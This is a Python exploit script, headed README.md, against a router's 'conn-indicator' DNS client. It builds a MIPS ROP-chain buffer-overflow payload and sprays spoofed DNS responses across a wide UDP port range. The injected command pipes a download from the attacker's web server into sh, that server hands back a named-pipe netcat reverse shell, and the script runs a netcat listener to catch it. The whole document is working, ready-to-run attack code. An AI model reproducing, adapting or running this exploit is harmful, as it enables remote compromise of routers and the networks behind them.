README.md
Rendering markdown...
import struct, sys, threading, os, time, http.server, socketserver
from scapy.all import *
THREADS = 20
MIN_PORT = 32000
MAX_PORT = 61000
SPOOF_LIST = [ # Possible DNS servers that the router uses. Modify order based on target.
"192.168.1.1",
"192.168.0.1",
"10.0.0.1",
"172.16.0.0",
"1.1.1.1",
"8.8.8.4",
"8.8.8.8",
"9.9.9.9"
]
REVERSE_SHELL_PORT = 1337
WEB_SERVER_PORT = 4444
LISTENER_CMD = "nc -lp %d"
LOADER_CMD = "curl http://%s:%d/ | sh"
REVERSE_SHELL_CMD = "rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc %s %d >/tmp/f"
if os.geteuid() != 0:
print("[x] You need sudo privileges to run this exploit")
exit()
if (len(sys.argv) < 4) or (sys.argv[1] != "lan" and sys.argv[1] != "wan"):
print("[x] Usage: %s <lan/wan> <target> <attacker>" % sys.argv[0])
exit()
mode = sys.argv[1]
target = sys.argv[2]
attacker = sys.argv[3]
def build_payload(cmd):
####### ROP chain #######
#
GADGET_1 = 0x00402700
#
# prepare args for memcpy()
#
# lw ra, 0x2c(sp)
# move v0, s2
# lw s2, 0x28(sp)
# lw s1, 0x24(sp)
# lw s0, 0x20(sp)
# jr ra
# addiu sp, sp, 0x30
#
GADGET_2 = 0x00405a98
#
# continue preparing args and call memcpy()
# this is a fragment of process_resolved_IP() and it continues until it returns
#
# move a0, v0
# jal <EXTERNAL>:memcpy
# _move a2, s1
# [...]
#
GADGET_3 = 0x004065e8
#
# prepare args and call system()
#
# move a0, v0
# clear v0
# lw ra, 0x1c(sp)
# jr ra
#
#########################
# len of each "domain name" in the payload. must be less than 64
DOMAIN_LEN = 0x3f
# DNS header
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# first bytes correspond to the DNS response header
payload = []
payload += TXID
payload += FLAGS
payload += QDCOUNT
payload += ANCOUNT
payload += NSCOUNT
payload += ARCOUNT
# next bytes are the DNS payload that is copied into de overflowed buffer
### fill up the buffer (3 domain names with length DOMAIN_LEN)
for i in range (0,4):
payload += [DOMAIN_LEN] # length of current domain name
for j in range(0, DOMAIN_LEN):
payload += [0x41]
### fill up remaining space until registers
payload += [0x17] # length of current domain name
payload += [0x41] * 23
### corrupt stack
payload += [0x28] # length of current domain name
payload += struct.pack(">I", 0x30303030) # s0
payload += struct.pack(">I", 0x31313131) # s1
payload += struct.pack(">I", 0x0041e000) # s2: [gadget_1] dest argument for memcpy() in gadget_2, corresponding to the data section of conn-indicator which is writeable, where the command will be copied
payload += struct.pack(">I", 0x0041e000) # s3: [gadget_3] command to execute. data section previsouly written to in gadget_2. it gets moved into $v0 before gadget_3 is executed
payload += struct.pack(">I", 0x34343434) # s4
payload += struct.pack(">I", 0) # s5: [gadget_2] variable i in process_resolved_IP() so that when i + 1 = 1 and the loop can stop
payload += struct.pack(">I", 0x36363636) # s6
payload += struct.pack(">I", 0x37373737) # s7
payload += struct.pack(">I", 0) # s8: [gadget_2] param_4
payload += struct.pack(">I", GADGET_1) # ra: address of gadget_1 to be loaded in $ra
payload += [0x2f] # length of current domain name
payload += [0x41] * 7
payload += struct.pack(">I", 1) # ANCOUNT on the first execution of process_resolved_IP()
payload += [0x41] * 4
payload += struct.pack(">I", 0) # param_5
payload += [0x41] * 16
payload += struct.pack(">I", 0x100) # [gadget_1] count argument for memcpy() in gadget_2
payload += [0x41] * 4
payload += struct.pack(">I", GADGET_2) # [gadget_1] address of gadget_2 to be loaded in $ra
payload += [0] # length of current domain name (end of DNS payload)
# next 10 bytes are copied into answer_flags
# set them to 0 to bypass all operations and maintain the stack untouched until the return
for i in range (0,10):
payload += [0]
# next bytes are where $a1 and $a3 point to when process_resolved_IP() is returning
# [gadget_1] src argument for memcpy() in gadget_2
payload += struct.pack("%is" % len(cmd), bytes(cmd, encoding="ascii"))
payload += [0]
payload += [0x41] * (228 - len(cmd) - 1)
payload += struct.pack(">I", GADGET_3) # [gadget_2] address of gadget_3 to be loaded in $ra
payload += [0x41] * 8
payload += struct.pack(">I", 1) # [gadget_2] ANCOUNT on the second execution of process_resolved_IP()
payload += [0x41] * 4
payload += struct.pack(">I", 0) # [gadget_2] param_5
payload += [0x41] * 8
payload += struct.pack(">I", 0x0040e0f0) # [gadget_3] system() address
return payload
# run listener
print("[+] Running netcat listener on port %d" % REVERSE_SHELL_PORT)
t1 = threading.Thread(target=os.system, args=(LISTENER_CMD % REVERSE_SHELL_PORT,))
t1.start()
time.sleep(1)
# run web server
print("[+] Running web server on port %d" % WEB_SERVER_PORT)
stop_requests = False
class web_server_handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
global stop_requests
stop_requests = True
print()
print("[*] Received connection! Sending reverse shell")
print()
self.send_response(200)
self.wfile.write(bytes(REVERSE_SHELL_CMD % (attacker, REVERSE_SHELL_PORT), "utf8"))
return
server = socketserver.TCPServer(("", WEB_SERVER_PORT), web_server_handler)
t2 = threading.Thread(target=server.serve_forever)
t2.start()
time.sleep(1)
# send payloads
def send_payload(min_port, max_port, src_ip=None):
global stop_requests
for port in range(min_port, max_port+1):
if stop_requests:
break
payload = build_payload(LOADER_CMD % (attacker, WEB_SERVER_PORT))
if src_ip:
packet = IP(src=src_ip, dst=target) / UDP(sport=53, dport=port) / raw(bytes(payload))
else:
packet = IP(dst=target) / UDP(sport=53, dport=port) / raw(bytes(payload))
send(packet, verbose=0)
port += 1
time.sleep(0.001)
stop_requests = False
ports_range = int((MAX_PORT - MIN_PORT) / THREADS)
if mode == "lan":
print()
for i in range(0, THREADS):
min_port = MIN_PORT + (ports_range * i)
max_port = MIN_PORT + (ports_range * (i + 1)) - 1
if max_port == MAX_PORT-1:
max_port += 1
print("[+] [Thread %d] Sending payload to ports %d-%d" % (i, min_port, max_port))
t = threading.Thread(target=send_payload, args=(min_port, max_port))
t.start()
elif mode == "wan":
for ip in SPOOF_LIST:
if stop_requests:
break
print()
ports_range = int((MAX_PORT - MIN_PORT) / THREADS)
for i in range(0, THREADS):
min_port = MIN_PORT + (ports_range * i)
max_port = MIN_PORT + (ports_range * (i + 1)) - 1
if max_port == MAX_PORT-1:
max_port += 1
print("[+] [Thread %d] Sending payload from spoofed %s to ports %d-%d" % (i, ip, min_port, max_port))
t = threading.Thread(target=send_payload, args=(min_port, max_port, ip))
t.start()
t.join()
time.sleep(1)